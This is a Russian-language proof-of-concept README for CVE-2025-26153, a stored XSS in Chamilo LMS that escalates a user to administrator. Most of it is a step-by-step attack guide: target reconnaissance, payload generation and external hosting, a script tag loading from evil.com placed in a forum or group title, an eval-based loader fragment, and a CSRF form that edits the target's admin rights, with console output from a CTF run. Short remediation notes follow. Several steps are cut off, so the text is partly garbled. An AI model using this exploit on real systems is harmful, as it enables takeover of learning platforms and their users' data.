
Chamilo-LMS (v2.0) CVE-2025-26153
Данный репозиторий содержит proof of concept, демонстрирующий хранимую межсайтовую XSS-уязвимость в Chamilo LMS, которая может быть использована для повышения привилегий от обычного пользователя до администратора платформы. Уязвимость внесена в каталог и устранена: https://nvd.nist.gov/vuln/detail/CVE-2025-26153
Уязвимые места кода:
/public/main/forum/forumqualify.php — строка 277
$form->addLabel(get_lang('Thread'), $threadEntity->getTitle());
/public/main/forum/viewforum.php — строка 369
.$thread->getTitle().'</a>';
Есть и другие!
Корневая причина:
Шаг 1. Получите информацию о целевой учётной записи
Социальная сеть -> Личные данныеuser_info и запишите следующую информацию:
Шаг 2. Сгенерируйте собственный эксплойт-нагрузку
python generate_payload.py
payload.jsШаг 3. Разместите эксплойт-нагрузку внешне
payload.js в публичный хостинг:
Шаг 4. Откройте социальные группы
Социальная сеть -> Социальные группыШаг 5. Вступите или создайте социальную группу
Шаг 6. Разверните XSS-эксплойт-нагрузку
eval(x.responseText);x.send()">
YOUR-HOST-SERVER на фактический URL вашего хостингаШаг 7. Запустите повышение привилегий
Шаг 8. Подтвердите повышение привилегий
Скрипт generate_payload.py позволяет настраивать атаку повышения привилегий:
Входные параметры:
1. Злоумышленник создаёт вредоносную тему форума
└── Название: <script src=//evil.com/payload.js></script>
2. Администратор просматривает форум и открывает тему
└── Браузер загружает и выполняет внешний JavaScript
3. Эксплойт-нагрузка создаёт скрытую форму с данными повышения привилегий
└── Нацеливается на конкретный User ID для повышения до администратора
4. Форма автоматически отправляется через CSRF-атаку
└── Автоматически используются сессионные cookie администратора
5. Целевой пользователь становится администратором платформы
└── Злоумышленник получает полный контроль над платформой
Санитизация ввода
// Было
$threadEntity->getTitle()
// Стало
htmlspecialchars($threadEntity->getTitle(), ENT_QUOTES, 'UTF-8')
Кодирование вывода
<!-- Было -->
{{ thread.title }}
<!-- Стало -->
{{ thread.title|escape }}
Политика безопасности контента
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
Отслеживайте:
ВАЖНОЕ ЮРИДИЧЕСКОЕ УВЕДОМЛЕНИЕ
Данный proof of concept предоставлен только для образовательных целей и санкционированного тестирования безопасности.
Обнаружение и анализ: US Cyber Combine
Тестовая среда: USCG CTF Environment
Вывод консоли при успешной атаке:
XSS Payload loaded successfully!
Target User ID: 9
Current location: http://cve-hunting.ctf.uscybergames.com:8000/resources/usergroups/show/5
Form created with action: http://cve-hunting.ctf.uscybergames.com:8000/main/admin/user_edit.php?user_id=9
Submitting privilege escalation form for user_id 9
Form has 66 fields
Form submission triggered!
Fetch response status: 200